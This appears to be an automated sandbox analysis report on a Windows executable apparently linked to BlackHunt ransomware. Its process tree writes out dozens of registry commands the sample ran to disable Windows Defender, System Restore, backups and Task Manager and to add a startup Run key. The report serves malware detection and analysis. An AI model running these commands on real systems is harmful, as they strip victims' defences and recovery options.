Analysis

  • max time kernel
    211s
  • max time network
    201s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-01-2024 00:30

General

  • Target

    ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe

  • Size

    707KB

  • MD5

    8c0b6e4647e4efbbd4e6fdce74ad2392

  • SHA1

    022e01980b0eb0de51cca2ec1b61561deb0247a1

  • SHA256

    ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee

  • SHA512

    89ad0d92867d32b85256498c7c6d0278a65d19b909a750a8aed29ea019bb1bff2e11b54b4fc6817290a5a0c1df41c4e83e5fc693e6c5c44dceb2c3261a871752

  • SSDEEP

    6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza148ovnh:6uaTmkZJ+naie5OTamgEoKxLWTWh

Malware Config

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs
  • Disables Task Manager via registry modification
  • Disables use of System Restore points 1 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe
    "C:\Users\Admin\AppData\Local\Temp\ac689a3cf0e69fd5376b49b19c337d3333931b187455458f81dcb49be63a42ee.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:452
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4488
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
        3⤵
        • Modifies registry class
        PID:3264
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:828
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
        3⤵
        • Modifies registry class
        PID:904
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3476
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
        3⤵
        • Modifies registry class
        PID:2112
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1792
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
        3⤵
        • Modifies registry class
        PID:1044
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4916
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
        3⤵
        • Adds Run key to start application
        PID:1240
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4652
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
        3⤵
          PID:5104
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1104
        • C:\Windows\system32\reg.exe
          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
          3⤵
          • Modifies Windows Defender Real-time Protection settings
          PID:4204
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1036
        • C:\Windows\system32\reg.exe
          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
          3⤵
            PID:1412
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4892
          • C:\Windows\system32\reg.exe
            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
            3⤵
              PID:1424
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3236
            • C:\Windows\system32\reg.exe
              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
              3⤵
                PID:3908
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4436
              • C:\Windows\system32\reg.exe
                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
                3⤵
                  PID:2928
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:3020
                • C:\Windows\system32\reg.exe
                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                  3⤵
                    PID:3284
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3620
                  • C:\Windows\system32\reg.exe
                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                    3⤵
                      PID:712
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                    2⤵
                      PID:1744
                      • C:\Windows\system32\reg.exe
                        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                        3⤵
                          PID:3696
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                        2⤵
                          PID:3852
                          • C:\Windows\system32\reg.exe
                            reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                            3⤵
                              PID:3956
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                            2⤵
                              PID:560
                              • C:\Windows\system32\reg.exe
                                reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                                3⤵
                                  PID:1944
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                2⤵
                                  PID:4040
                                  • C:\Windows\system32\reg.exe
                                    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                    3⤵
                                      PID:3324
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                    2⤵
                                      PID:2568
                                      • C:\Windows\system32\reg.exe
                                        reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                        3⤵
                                          PID:3008
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                        2⤵
                                          PID:3708
                                          • C:\Windows\system32\reg.exe
                                            reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                            3⤵
                                              PID:2540
                                          • C:\Windows\System32\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                            2⤵
                                              PID:4684
                                              • C:\Windows\system32\reg.exe
                                                reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                3⤵
                                                  PID:4092
                                              • C:\Windows\System32\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                                2⤵
                                                  PID:3488
                                                  • C:\Windows\system32\reg.exe
                                                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                                    3⤵
                                                      PID:3984
                                                  • C:\Windows\System32\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                    2⤵
                                                      PID:4104
                                                      • C:\Windows\system32\reg.exe
                                                        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                        3⤵
                                                          PID:640
                                                      • C:\Windows\System32\cmd.exe
                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                        2⤵
                                                          PID:3408
                                                          • C:\Windows\system32\reg.exe
                                                            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                            3⤵
                                                              PID:4268
                                                          • C:\Windows\System32\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                                            2⤵
                                                              PID:4832
                                                              • C:\Windows\system32\reg.exe
                                                                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                                                3⤵
                                                                  PID:4800
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                                2⤵
                                                                  PID:2324
                                                                  • C:\Windows\system32\reg.exe
                                                                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                                    3⤵
                                                                      PID:2980
                                                                  • C:\Windows\System32\cmd.exe
                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                                    2⤵
                                                                      PID:4484
                                                                      • C:\Windows\system32\reg.exe
                                                                        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                                        3⤵
                                                                          PID:792
                                                                      • C:\Windows\System32\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                        2⤵
                                                                          PID:4380
                                                                          • C:\Windows\system32\reg.exe
                                                                            reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                            3⤵
                                                                              PID:2904
                                                                          • C:\Windows\System32\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                                            2⤵
                                                                              PID:384
                                                                              • C:\Windows\system32\reg.exe
                                                                                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                                                3⤵
                                                                                  PID:3572
                                                                              • C:\Windows\System32\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                                                2⤵
                                                                                  PID:3304
                                                                                  • C:\Windows\system32\reg.exe
                                                                                    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                                                    3⤵
                                                                                      PID:2956

                                                                                Network

                                                                                MITRE ATT&CK Enterprise v15

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